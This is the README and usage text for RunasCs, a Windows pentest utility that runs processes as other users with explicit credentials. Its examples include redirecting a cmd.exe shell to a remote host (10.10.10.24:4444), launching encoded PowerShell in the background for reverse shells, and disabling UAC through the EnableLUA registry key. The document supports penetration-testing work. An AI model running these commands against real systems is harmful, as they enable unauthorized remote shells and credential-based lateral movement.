RunasCs is an utility to run specific processes with different permissions than the user's current logon provides using explicit credentials. This tool is an improved (from a pentest perspective) and open version of windows builtin runas.exe that solves some limitations:
- Allows explicit credentials
- Works both if spawned from interactive process and from service process
- Manage properly DACL for Window Stations and Desktop for the creation of the new process
- Uses more reliable create process functions like
CreateProcessAsUser()andCreateProcessWithTokenW()if the calling process holds the required privileges (automatic detection) - Allows to specify the logon type, i.e. network logon 3 (no UAC limitations)
- Allows redirecting stdin, stdout and stderr to a remote host
- It's Open Source :)
RunasCs has an automatic detection to determine the best create process function for every contexts. Based on the process caller token permissions, it will use one of the create process function in the following preferred order:
CreateProcessAsUser()CreateProcessWithTokenW()CreateProcessWithLogonW()
.NET Framework >= 2.0
C:\ProgramData>.\RunasCs_net2.exe --help
RunasCs v1.3 - @splinter_code
Usage:
RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--create-profile]
Description:
RunasCs is an utility to run specific processes under a different user account
by specifying explicit credentials. In contrast to the default runas.exe command
it supports different logon types and crateProcess functions to be used, depending
on your current permissions. Furthermore it allows input/output redirection (even
to remote hosts) and you can specify the password directly on the command line.
Positional arguments:
username username of the user
password password of the user
cmd command supported by cmd.exe if process_timeout>0
commandline for the process if process_timeout=0
Optional arguments:
-d, --domain domain
domain of the user, if in a domain.
Default: ""
-f, --function create_process_function
CreateProcess function to use. When not specified
RunasCs determines an appropriate CreateProcess
function automatically according to your privileges.
0 - CreateProcessAsUserA
1 - CreateProcessWithTokenW
2 - CreateProcessWithLogonW
-l, --logon-type logon_type
the logon type for the spawned process.
Default: "3"
-r, --remote host:port
redirect stdin, stdout and stderr to a remote host.
Using this option sets the process timeout to 0.
-t, --timeout process_timeout
the waiting time (in ms) for the created process.
This will halt RunasCs until the spawned process
ends and sent the output back to the caller.
If you set 0 no output will be retrieved and cmd.exe
won't be used to spawn the process.
Default: "120000"
-p, --create-profile
if this flag is specified RunasCs will force the
creation of the user profile on the machine.
This will ensure the process will have the
environment variables correctly set.
NOTE: this will leave some forensics traces
behind creating the user profile directory.
Compatible only with -f flags:
1 - CreateProcessWithTokenW
2 - CreateProcessWithLogonW
Examples:
Run a command as a specific local user
RunasCs.exe user1 password1 whoami
Run a command as a specific domain user and interactive logon type (2)
RunasCs.exe user1 password1 whoami -d domain -l 2
Run a background/async process as a specific local user,
RunasCs.exe user1 password1 "%COMSPEC% powershell -enc..." -t 0
Redirect stdin, stdout and stderr of the specified command to a remote host
RunasCs.exe user1 password1 cmd.exe -r 10.10.10.24:4444
Run a command simulating the /netonly flag of runas.exe
RunasCs.exe user1 password1 whoami -d domain -l 9The two processes (calling and called) will communicate through one pipe (both for stdout and stderr). The default logon type is 3 (Network_Logon). If you set Interactive (2) logon type you will face some UAC restriction problems. You can make interactive logon without any restrictions by setting the following regkey to 0 and restart the server:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
By default, the calling process (RunasCs) will wait until the end of the execution of the spawned process and will use
cmd.exe to manage stdout and stderr. If you need to spawn a background or async process, i.e. spawning a reverse shell,
you need to set the parameter -t timeout to 0. In this case the process will be spawned without using cmd.exe
and RunasCs won't wait for the end of the execution.
- https://decoder.cloud/2018/01/13/potato-and-tokens/
- https://github.com/dahall/Vanara
- https://docs.microsoft.com/en-us/previous-versions/aa379608(v=vs.85)
- https://support.microsoft.com/en-us/help/190351/how-to-spawn-console-processes-with-redirected-standard-handles
- https://support.microsoft.com/en-us/help/327618/security-services-and-the-interactive-desktop-in-windows
- https://blogs.msdn.microsoft.com/winsdk/2015/06/03/what-is-up-with-the-application-failed-to-initialize-properly-0xc0000142-error/
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